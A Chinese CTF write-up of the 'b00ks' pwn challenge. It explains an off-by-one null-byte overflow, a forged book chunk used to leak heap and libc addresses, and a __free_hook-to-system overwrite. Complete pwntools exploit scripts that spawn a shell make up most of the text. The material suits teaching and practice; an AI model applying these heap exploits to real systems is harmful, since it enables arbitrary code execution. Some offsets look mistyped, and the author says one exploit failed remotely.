入门off_by_one的好题 不过由于堆题逻辑都比较复杂 所以分析和wp的撰写就由exp的顺序进行了 正常的解题肯定不是这个分析顺序
[溢出伪造]b00ks 分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 signed __int64 change_sub_B6D ( ) { printf ("Enter author name: " ); if ( !(unsigned int)my_read_sub_9F5 (off_202018, 32 ) ) return 0LL; printf ("fail to read author_name" , 32LL); return 1LL; } signed __int64 __fastcall my_read_sub_9F5 (_BYTE *a1, int a2 ) { int i; _BYTE *buf; if ( a2 <= 0 ) return 0LL; buf = a1; for ( i = 0 ; ; ++i ) { if ( (unsigned int)read (0 , buf, 1uLL) != 1 ) return 1LL; if ( *buf == 10 ) break ; ++buf; if ( i == a2 ) break ; } *buf = 0 ; return 0LL; }
对于sub_9F5函数而言 作为一个自己写的read功能函数 存在了边界错误的情况 *a1是传入时malloc的内存 a2是固定长度32 然而如果是指定32个字节 那么循环中的i就应该从1起算 不然会导致buf++后最后会多一个字节 可以带入a2=3验证一下buf[4]是不是等于0 所以此处有off_by_null的漏洞
1 2 3 4 5 6 +---------+---------+---------+ book_control_heap | book_id |book_name|book_desc| (bss_base + 0x202040 ) +---------+---------+---------+ | | | | heap1 heap2
以上这些都是我自己命名的 直接干讲可能会有点不好理解 在这先将该程序的堆结构列出 而后在进行分别讲解 首先是id name和desc三个字段的存储
1 2 3 4 5 6 7 8 9 10 v3 = malloc (0x20uLL); if ( v3 ){ *((_DWORD *)v3 + 6 ) = size_v1; *((_QWORD *)off_202010 + v2) = v3; *((_QWORD *)v3 + 2 ) = desc_v5; *((_QWORD *)v3 + 1 ) = name_ptr; *(_DWORD *)v3 = ++unk_202024; return 0LL; }
这是sub_F55函数 也就是create book功能对应函数中的代码 一个QWORD代表8字节 DWORD代表4字节 因此v3的初始8位存放着id(unk_202024初始为0) 再8位存放着name 再8位存放着desc 再8位存放着size 以上都从user_data区开始计算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 pwndbg> heap Allocated chunk | PREV_INUSE Addr : 0x555555757000 Size : 0x411 Allocated chunk | PREV_INUSE <--- book1_name_heapAddr : 0x555555757410 Size : 0x31 Allocated chunk | PREV_INUSE <--- book1_desc_heapAddr : 0x555555757440 Size : 0x31 Allocated chunk | PREV_INUSE <--- book1_control_heap Addr : 0x555555757470 Size : 0x31 Top chunk | PREV_INUSE Addr : 0x5555557574a0 Size : 0x20b61 pwndbg> x/20gx 0x555555757470 0x555555757470 : 0x0000000000000000 0x0000000000000031 0x555555757480 : 0x0000000000000001 0x0000555555757420 0x555555757490 : 0x0000555555757450 0x0000000000000020 0x5555557574a0 : 0x0000000000000000 0x0000000000020b61 0x5555557574b0 : 0x0000000000000000 0x0000000000000000 0x5555557574c0 : 0x0000000000000000 0x0000000000000000 0x5555557574d0 : 0x0000000000000000 0x0000000000000000 0x5555557574e0 : 0x0000000000000000 0x0000000000000000 0x5555557574f0 : 0x0000000000000000 0x0000000000000000 0x555555757500 : 0x0000000000000000 0x0000000000000000 book_control_heap ---> 0x555555757440 book_id ---> 0x1 book_name ---> 0x555555757420 book_desc ---> 0x555555757450 book_size ---> 0x20
我们可以看到确实如此 结合我们刚刚的结构图就可以对他的大致流程有一个了解了 对于book_control_heap他的地址在命名之后也会存储在bss段上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 signed __int64 sub_B24 ( ) { signed int i; for ( i = 0 ; i <= 19 ; ++i ) { if ( !*((_QWORD *)off_202010 + i) ) return (unsigned int)i; } return 0xFFFFFFFFLL; } v2 = sub_B24 (); *((_QWORD *)off_202010 + v2) = v3; .data :0000000000202010 off_202010 dq offset unk_202060 ; DATA XREF : sub_B24 :loc_B38↑o .data :0000000000202010 ; del_sub_BBD :loc_C1B↑o ... .data :0000000000202018 off_202018 dq offset unk_202040 ; DATA XREF : change_sub_B6D+15 ↑o
以上都是节选 全放下来太多了 v2经过B24函数之后 相当于初始化了 第一本书就是0第二本书就是1以此类推 然后注意我们的QWORD代表8字节 那么如果我们的第一本书的control_heap地址就该存放在unk_202060
1 2 3 4 5 6 7 8 9 10 11 pwndbg> vmmap LEGEND : STACK | HEAP | CODE | DATA | RWX | RODATA 0x555555554000 0x555555556000 r-xp 2000 0 /home/apple/Desktop /b00ks 0x555555755000 0x555555756000 r--p 1000 1000 /home/apple/Desktop /b00ks 0x555555756000 0x555555757000 rw-p 1000 2000 /home/apple/Desktop /b00ks pwndbg> x/20gx 0x555555554000 + 0x202040 0x555555756040 : 0x6161616161616161 0x0000000000000000 0x555555756050 : 0x0000000000000000 0x0000000000000000 0x555555756060 : 0x0000555555757480 0x0000000000000000 (book1_control_heap)
bss段的起始地址我们是能够看到的 为啥取0x202040是因为这是author_name的存储地址 在这就能够看到author_name与book1_control_heap地址相差的正好是0x20 如果我们的author_name输入长度为32(所给最大长度) 那么由于边界错误 buf的第33个字节为x00就能覆盖control_heap的最后一个字节 进而更改在这存储的book1_control_heap地址 达到欺骗计算机目的 进而引导到我们所构造的fake_heap中
泄漏地址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] context.log_level = 'debug' sh = process('./b00ks') def add(size1,name,size2,desc): sh.recvuntil('>') sh.sendline('1') sh.recvuntil('Enter book name size:') sh.sendline(str(size1)) sh.recvuntil('Enter book name (Max 32 chars):') sh.sendline(name) sh.recvuntil('Enter book description size:') sh.sendline(str(size2)) sh.recvuntil('Enter book description:') sh.sendline(desc) def show(): sh.recvuntil('>') sh.sendline('4') gdb.attach(sh) sh.recvuntil('Enter author name:') sh.sendline('a' * 32) add(0x90, 'aaaa', 0x90, 'bbbb') show() sh.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa') book1_addr = u64(sh.recv(6).ljust(8,'\\0'))
因为printf的特性 在读取到x00之前都不会停止输出 我们如果将author_name的0x20塞满 那么printf就会输出book1_control_heap的地址了 至于为什么要申请0x90大小后面会说 有细心的读者也会发现create时没有对输入的size大小进行限制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def add (size1,name,size2,desc): sh.recvuntil ('>' ) sh.sendline ('1' ) sh.recvuntil ('Enter book name size:' ) sh.sendline (str (size1)) sh.recvuntil ('Enter book name (Max 32 chars):' ) sh.sendline (name) sh.recvuntil ('Enter book description size:' ) sh.sendline (str (size2)) sh.recvuntil ('Enter book description:' ) sh.sendline (desc) add (0x21000 , 'cccc' , 0x21000 , 'dddd' )book2_addr = book1_addr + 0x30
在我们申请一个超过128KB的堆空间时 我们的book2_name和book2_desc确实是存储在mmap申请的很高的堆地址空间中 但是我们的book2_control_heap地址是在book1_control_heap的高0x30处 因为这个control_heap是程序已经定死的 具体可以看sub_F55函数部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #After add (0x21000 , 'cccc' , 0x21000 , 'dddd' ) pwndbg> heap Allocated chunk | PREV_INUSE Addr : 0x55e1603a8000 Size : 0x1011 Allocated chunk | PREV_INUSE Addr : 0x55e1603a9010 Size : 0xa1 Allocated chunk | PREV_INUSE Addr : 0x55e1603a90b0 Size : 0xa1 Allocated chunk | PREV_INUSE <--- book1_control_heapAddr : 0x55e1603a9150 Size : 0x31 Allocated chunk | PREV_INUSE <--- book2_control_heapAddr : 0x55e1603a9180 Size : 0x31 Top chunk | PREV_INUSE Addr : 0x55e1603a91b0 Size : 0x20e51 pwndbg> x/20gx 0x55e1603a9180 0x55e1603a9180 : 0x0000000000000000 0x0000000000000031 0x55e1603a9190 : 0x0000000000000002 0x00007fb66514a010 0x55e1603a91a0 : 0x00007fb665128010 0x0000000000021000 0x55e1603a91b0 : 0x0000000000000000 0x0000000000020e51 0x55e1603a91c0 : 0x0000000000000000 0x0000000000000000 0x55e1603a91d0 : 0x0000000000000000 0x0000000000000000
至此 book2_control_heap的地址获得了 book1的+0x30即可
伪造HEAP 程序输入的逻辑是这样的
1 2 3 4 1. bss + 0x202040 :author_name2. bss + 0x202060 :book1_control_heap3. bss + 0x202060 + 0x8 :book2_control_heap...
所以第一次输入的author_name其实覆盖不了book1_control_heap 先后顺序的原因 所以得create book1之后再进行一次输入 才能覆盖 代码我就不贴了 注意我重新调试了一下 不要纠结于上面的那些地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 pwndbg> x/20gx 0x55f743a7e000 + 0x202040 0x55f743c80040 : 0x6161616161616161 0x6161616161616161 0x55f743c80050 : 0x6161616161616161 0x6161616161616161 0x55f743c80060 : 0x000055f7450e8100 0x000055f7450e8190 pwndbg> heap Allocated chunk | PREV_INUSE Addr : 0x55f7450e7000 Size : 0x1011 Allocated chunk | PREV_INUSE Addr : 0x55f7450e8010 Size : 0xa1 Allocated chunk | PREV_INUSE Addr : 0x55f7450e80b0 Size : 0xa1 Allocated chunk | PREV_INUSE Addr : 0x55f7450e8150 Size : 0x31 Allocated chunk | PREV_INUSE Addr : 0x55f7450e8180 Size : 0x31 Top chunk | PREV_INUSE Addr : 0x55f7450e81b0 Size : 0x20e51
我们将book1_control_heap的地址覆盖成了0x55f7450e8100 也就是说我们要在这个地址上伪造一个堆 对于我们伪造的这个堆而言 他的地址处于book1_desc与book1_control_heap之间 那么为了我们堆空间利用难度而言 我们伪造的这个堆地址需要尽可能靠近book1_desc 也要尽可能远离book1_control_heap 这需要以下两点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 1. book1_desc的堆空间要适度2. book1_name的堆空间大小要多次调试 防止book1_desc的堆起始地址过高#exp payload = 'a' * 0x40 + p64 (1 ) + p64 (book2_addr + 0x8 ) * 2 + p64 (0x1000 ) edit (1 ,payload)#伪造后的情况如下 pwndbg> x/20gx 0x55f7450e80b0 0x55f7450e80b0 : 0x0000000000000000 0x00000000000000a1 0x55f7450e80c0 : 0x6161616161616161 0x6161616161616161 0x55f7450e80d0 : 0x6161616161616161 0x6161616161616161 0x55f7450e80e0 : 0x6161616161616161 0x6161616161616161 0x55f7450e80f0 : 0x6161616161616161 0x6161616161616161 0x55f7450e8100 : 0x0000000000000001 0x000055f7450e8198 0x55f7450e8110 : 0x000055f7450e8198 0x0000000000001000 0x55f7450e8120 : 0x0000000000000000 0x0000000000000000
我们肯定只能从book1_desc入手修改 程序正好提供了修改的函数 不然得覆盖好多数据 我们伪造的是book1 所以id是1 至于name和desc无所谓都用book2的name即可 反正只需要打印出其中一个地址就行 用自带的show打印出其中一个地址 与libc相减做差后就可以得到libc基地址 不过这个基地址每个人不一样
1 2 3 4 5 6 7 8 9 10 payload = 'a' * 0x40 + p64 (1 ) + p64 (book2_addr + 0x8 ) * 2 + p64 (0x1000 ) edit (1 ,payload)change_name ()show ()#pause () sh.recvuntil ('Name: ' ) book2_name_addr = u64 (sh.recv (6 ).ljust (8 ,'\\0' )) print hex (book2_name_addr) libc_base = book2_name_addr - 0x5b1010
FREE_HOOK free_hook的作用就是在malloc或者free他时 会去调用这个指针所指向的东西 好好使用功能是很强大的 但是如果存了system 危害也是极大的
1 2 3 4 5 6 7 8 if ( i != 20 ) { free (*(void **)(*((_QWORD *)off_202010 + i) + 8LL)); free (*(void **)(*((_QWORD *)off_202010 + i) + 16LL)); free (*((void **)off_202010 + i)); *((_QWORD *)off_202010 + i) = 0LL; return 0LL; }
对于此题而言唯一可控的free在del book处 逐个free掉book_name和book_desc 不过由于我们执行的system需要参数 所以free_hook写在book_desc上
1 2 edit (1 , p64 (binsh) + p64 (free_hook))edit (2 , p64 (system_addr))
要执行system的话 我们需要往free_hook所指向的地址写入system 回顾一下我们写入的free_hook地址 在我们伪造的book1_desc处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 pwndbg> heap Allocated chunk | PREV_INUSE Addr : 0x55c269fb6000 Size : 0x1011 Allocated chunk | PREV_INUSE Addr : 0x55c269fb7010 Size : 0xa1 Allocated chunk | PREV_INUSE Addr : 0x55c269fb70b0 Size : 0xa1 Allocated chunk | PREV_INUSE Addr : 0x55c269fb7150 Size : 0x31 Allocated chunk | PREV_INUSE Addr : 0x55c269fb7180 Size : 0x31 Top chunk | PREV_INUSE Addr : 0x55c269fb71b0 Size : 0x20e51 pwndbg> x/20gx 0x55c269fb70b0 0x55c269fb70b0 : 0x0000000000000000 0x00000000000000a1 . real_book_control_heap0x55c269fb70c0 : 0x6161616161616161 0x6161616161616161 0x55c269fb70d0 : 0x6161616161616161 0x6161616161616161 0x55c269fb70e0 : 0x6161616161616161 0x6161616161616161 0x55c269fb70f0 : 0x6161616161616161 0x6161616161616161 0x55c269fb7100 : 0x0000000000000001 0x000055c269fb7198 fake_book1_conrol_heap0x55c269fb7110 : 0x000055c269fb7198 0x0000000000001000 0x55c269fb7120 : 0x0000000000000000 0x0000000000000000 0x55c269fb7130 : 0x0000000000000000 0x0000000000000000 0x55c269fb7140 : 0x0000000000000000 0x0000000000000000 pwndbg> x/20gx 0x55c269fb7180 0x55c269fb7180 : 0x0000000000000000 0x0000000000000031 0x55c269fb7190 : 0x0000000000000002 0x00007ff5d5007e57 book2_control_heap0x55c269fb71a0 : 0x00007ff5d52417a8 0x0000000000021000 0x55c269fb71b0 : 0x0000000000000000 0x0000000000020e51 0x55c269fb71c0 : 0x0000000000000000 0x0000000000000000 0x55c269fb71d0 : 0x0000000000000000 0x0000000000000000 0x55c269fb71e0 : 0x0000000000000000 0x0000000000000000 0x55c269fb71f0 : 0x0000000000000000 0x0000000000000000 0x55c269fb7200 : 0x0000000000000000 0x0000000000000000 0x55c269fb7210 : 0x0000000000000000 0x0000000000000000
肯定有人有疑问为啥还要兜一圈用伪造的book1_control_heap写入book2_name和book2_desc数据呢 不是可以直接edit(2)吗 这是因为如果直接edit(2) 那么我们写入的地址是用mmap生成的一个很高的地址 这个地址我们是无法泄漏的 顶天写入free_hook 无法下一步操作 但是如果我们用fake_book_name和desc进行写入的话 我们写入的是上图中的0x55c269fb7198 而这个地址我们就算不调试也是已知的 允许二次写入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] context.log_level = 'debug' sh = process ('./b00ks' ) elf = ELF ('./b00ks' ) libc = elf.libc def change_name (): sh.recvuntil ('>' ) sh.sendline ('5' ) sh.recvuntil (':' ) sh.sendline ('a' * 32 ) def add (size1,name,size2,desc): sh.recvuntil ('>' ) sh.sendline ('1' ) sh.recvuntil ('Enter book name size:' ) sh.sendline (str (size1)) sh.recvuntil ('Enter book name (Max 32 chars):' ) sh.sendline (name) sh.recvuntil ('Enter book description size:' ) sh.sendline (str (size2)) sh.recvuntil ('Enter book description:' ) sh.sendline (desc) def edit (id,payload): sh.recvuntil ('>' ) sh.sendline ('3' ) sh.recvuntil ('Enter the book id you want to edit:' ) sh.sendline (str (id)) sh.recvuntil ('Enter new book description:' ) sh.sendline (payload) def show (): sh.recvuntil ('>' ) sh.sendline ('4' ) def free (index): sh.sendlineafter ('> ' , '2' ) sh.sendlineafter (': ' , str (index)) #gdb.attach (sh) sh.recvuntil ('Enter author name:' ) sh.sendline ('a' * 32 ) add (0x90 , 'aaaa' , 0x90 , 'bbbb' )show ()sh.recvuntil ('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' ) book1_addr = u64 (sh.recv (6 ).ljust (8 ,'\\0' )) book2_addr = book1_addr + 0x30e print ('book1_addr = ' , hex (book1_addr)) add (0x21000 , 'cccc' , 0x21000 , 'dddd' )#pause () payload = 'a' * 0x40 + p64 (1 ) + p64 (book2_addr + 0x8 ) * 2 + p64 (0x1000 ) edit (1 ,payload)change_name ()show ()#pause () sh.recvuntil ('Name: ' ) book2_name_addr = u64 (sh.recv (6 ).ljust (8 ,'\\0' )) print hex (book2_name_addr) libc_base = book2_name_addr - 0x5b1010 free_hook = libc_base + libc.sym ['__free_hook' ] system_addr = libc_base + libc.sym ['system' ] binsh = libc_base + libc.search ('/bin/sh' ).next () edit (1 , p64 (binsh) + p64 (free_hook))edit (2 , p64 (system_addr))#pause () free (2 )#pause () sh.interactive ()
最后将book2给free了即可 因为我们是写到book2上的 不过这个exp对环境要求比较高 远程没通
Unsorted bin 原理其实很简单 当一个比较大(自己调试)的chunk被free之后 他会进入unsorted bin中 而这个unsorted bin中的的fd或者bk指针与libc的基址差值也是个固定值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] sh = process ('./b00ks' ) #sh = remote ('node4.buuoj.cn' ,27783 ) libc = ELF ('/home/apple/Desktop/buulibc/libc-2.23.buu.so' ) elf = ELF ('./b00ks' ) #libc1 = elf.libc def create (name_size, name, desc_size, desc): sh.sendline ('1' ) sh.recvuntil ('Enter book name size:' ) sh.sendline (str (name_size)) sh.recvuntil ('Enter book name (Max 32 chars)' ) sh.sendline (name) sh.recvuntil ('Enter book description size:' ) sh.sendline (str (desc_size)) sh.recvuntil ('Enter book description:' ) sh.sendline (desc) def change (): sh.sendline ('5' ) sh.recvuntil ('Enter author name:' ) sh.sendline ('a' * 0x20 ) def show (): sh.sendline ('4' ) def free (id): sh.sendline ('2' ) sh.recvuntil ('Enter the book id you want to delete:' ) sh.sendline (str (id)) def edit (id,payload): sh.recvuntil ('>' ) sh.sendline ('3' ) sh.recvuntil ('Enter the book id you want to edit:' ) sh.sendline (str (id)) sh.recvuntil ('Enter new book description:' ) sh.sendline (payload) gdb.attach (sh) sh.recvuntil ('Enter author name:' ) sh.sendline ('a' * 0x20 ) sh.recvuntil ('>' ) create (0x80 , 'aaaaaaaa' , 0x80 , 'bbbbbbbb' )sh.recvuntil ('>' ) show ()sh.recvuntil ('a' * 0x20 ) book1_addr = u64 (sh.recv (6 ).ljust (8 ,'\\0' )) print ('book1_addr = ' , hex (book1_addr))sh.recvuntil ('>' ) create (0x80 , 'aaaa' , 0x80 , 'bbbb' )sh.recvuntil ('>' ) create (0x20 , '/bin/sh\\x00' , 0x20 , 'bbbb' )unsorted_bin_addr = book1_addr + 0x30 #pause () payload = 'a' * 0x50 + p64 (1 ) + p64 (unsorted_bin_addr + 0x8 ) + p64 (book1_addr + 0x1d0 + 0x20 ) + p64 (0x20 ) edit (1 , payload)sh.recvuntil ('>' ) change ()free (2 )sh.recvuntil ('>' ) show ()#pause () sh.recvuntil ('Name: ' ) libc_base = u64 (sh.recv (6 ).ljust (8 ,'\\0' )) - 0x3c4b78 print ('libc_base = ' , hex (libc_base))free_hook = libc_base + libc.sym ['__free_hook' ] system_addr = libc_base + libc.sym ['system' ] print ('system_addr = ' , hex (system_addr)) #binsh_addr = libc_base + libc.search ('/bin/sh' ).next () #pause () #payload = p64 (binsh_addr) + p64 (free_hook) edit (1 , p64 (free_hook) + p64 (0x10 ))#pause () edit (3 , p64 (system_addr))#pause () sleep (15 )free (3 )sh.interactive ()
所以大体还是那样 只不过有两个比较玄学的问题 第一是关于binsh字段的 之前修改时payload是binsh + free_hook 可是这样的payload在这个exp中打不通 这样子的free_hook写不进system 于是转变了一下思路 在一开始就在name字段写进binsh 然后就是那个sleep 不sleep(15)的话没办法free